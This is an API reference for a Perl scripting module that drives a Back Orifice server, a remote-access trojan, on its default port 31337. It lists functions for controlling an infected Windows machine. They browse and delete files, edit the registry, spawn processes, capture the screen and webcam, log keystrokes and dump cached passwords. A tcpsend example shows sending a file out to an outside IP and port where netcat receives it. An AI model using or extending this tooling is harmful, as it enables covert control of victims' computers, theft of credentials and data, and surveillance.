BoScript [ Module : boscript, Package : boscript ] 1. Utility Functions ===================== initialize(); [ returns int ] Call this function before calling any other boscript functions set_host(hostname); [ returns int ] where hostname can be the name of a host or an IP address. This function must be called before any other functions that access a BO Server. set_port(portnum); [ returns int ] Set the port to access on the BO Server. If uncalled before accessing a server or sweeping, the default (31337) will be used. set_password(password); [ returns int ] Set the encryption password to 'password'. If uncalled, the default of no password is used. get_password(); [ returns char * ] Report back currently set encryption password. One of the few functions that does not return a success/failure int. set_verbose(); [ returns int ] Turn on program verbosity. Status updates and useless messages will be pumped to stdout. Verbosity is off by default. unset_verbose(); [ returns int ] Unset program verbosity. This is the default, so this function is only needed if verbosity had been previously enabled. gettext(); [ returns char * ] All functions that access the BO Server return one or more text lines as results to convey information or indicate success/failure of the command on the server side. This function returns a perl string containing all lines output from the Server from the last command sent. The script is expected to parse this lines to determine the success or failure of commands. (this may change in a future version). Multiline outputs are given as one long string, and can be divided into individual lines with the perl 'split' function. 2. File Functions ================== All File functions that accept a filename or path for a parameter expect the full path (including drive letter) with the short (DOS) filenames (eg. 'PROGRA~1' instead of 'Program Files'). Also, backslashes must be escaped. ls(dir); [ returns int ] List files. The full path and wildcard specifier must be passed as the dir argument. Short filenames must be given, as opposed to long ones. Example: boscript::ls("c:\progra~1\*"); rm(filename); [ returns int ] Remove file. cp(src,dst); [ returns int ] Copy file from file1 to file2. ren(file1,file2); [ returns int ] Rename file1 to file2. Full path expected. find(filename,path); [ returns int ] Find the file specified by 'filename', searching all subdirectories underneath 'path'. Wildcards are allowed. Example: boscript::find("c:\\*.dll", "windows"); md(dir); [ returns int ] Make directory. rd(dir); [ returns int ] Remove directory freeze(src,dst); [ returns int ] Freeze (compress) a file. melt(src,dst); [ returns int ] Melt (uncompress) a file fileview(filename); [ returns int ] View a text file tcpsend(filename,ip_port); [ returns int ] Send the file 'filename' to the IP address and port given by 'ip_port'. Example: boscript::tcpsend("c:\\autoexec.bat", "192.168.0.52:85"); would send the autoexec file to host 192.168.0.52 on port 85. Programs such as 'netcat' can listen and receive files sent this way. tcprecv(filename,ip_port); [ returns int ] Connect to the IP address and port given by 'ip_port' and receive the file that is sent over that connection. The file will be saved as 'filename' 3. Network Functions ===================== netview(); [ returns int ] netlist(); [ returns int ] netconnect(resource); [ returns int ] netdisconnect(resource); [ returns int ] resolve(hostname); [ returns int ] sharelist(); [ returns int ] shareadd(sharename,path); [ returns int ] sharedel(sharename); [ returns int ] redirlist(); [ returns int ] rediradd(input_port,dest_ip); [ returns int ] redirdel(redir_id); [ returns int ] 4. Registry Functions ====================== reglistkeys(keyname); [ returns int ] regmakekey(keyname); [ returns int ] regdelkey(keyname); [ returns int ] reglistvals(keyname); [ returns int ] regsetval(valuename,data); [ returns int ] regdelval(valuename); [ returns int ] 5. Process Functions ===================== proclist(); [ returns int ] prockill(proc_id); [ returns int ] Kill the process defined by 'proc_id'. Process id's may be determined from the output of the 'proclist()' command. procspawn(cmdline); [ returns int ] 6. Console Program Functions ============================= applist(); [ returns int ] appadd(exename,inputport); [ returns int ] appdel(app_id); [ returns int ] 7. Plugin Functions ==================== pluginlist(); [ returns int ] pluginexec(plugin,plugin_args); [ returns int ] pluginkill(plugin_id); [ returns int ] 8. Multimedia Functions ======================== listcaps(); [ returns int ] capframe(filename,devicespec); [ returns int ] capavi(filename,devicespec); [ returns int ] capscreen(filename); [ returns int ] sound(filename); [ returns int ] 9. Web Server Functions ======================== httpon(httpport,path); [ returns int ] httpoff(); [ returns int ] 10. Miscellaneous Functions ============================ ping(); [ returns int ] sweep(subnet); [ returns int ] Sweep a subnet. Will return a 0 if any of the pings are returned and return a 1 if the sweep was unsuccessful. A call to gettext() can then determine which IP's answered. sysinfo(); [ returns int ] passes(); [ returns int ] List passwords cached in the remote system's memory. Garbage may be appended to the end of the line. dialog(message,title); [ returns int ] reboot(); [ returns int ] lockup(); [ returns int ] logkeys(filename); [ returns int ] Log all keystrokes to 'filename'. Sending the string 'STOP' as the filename will cause the server to stop logging keystrokes.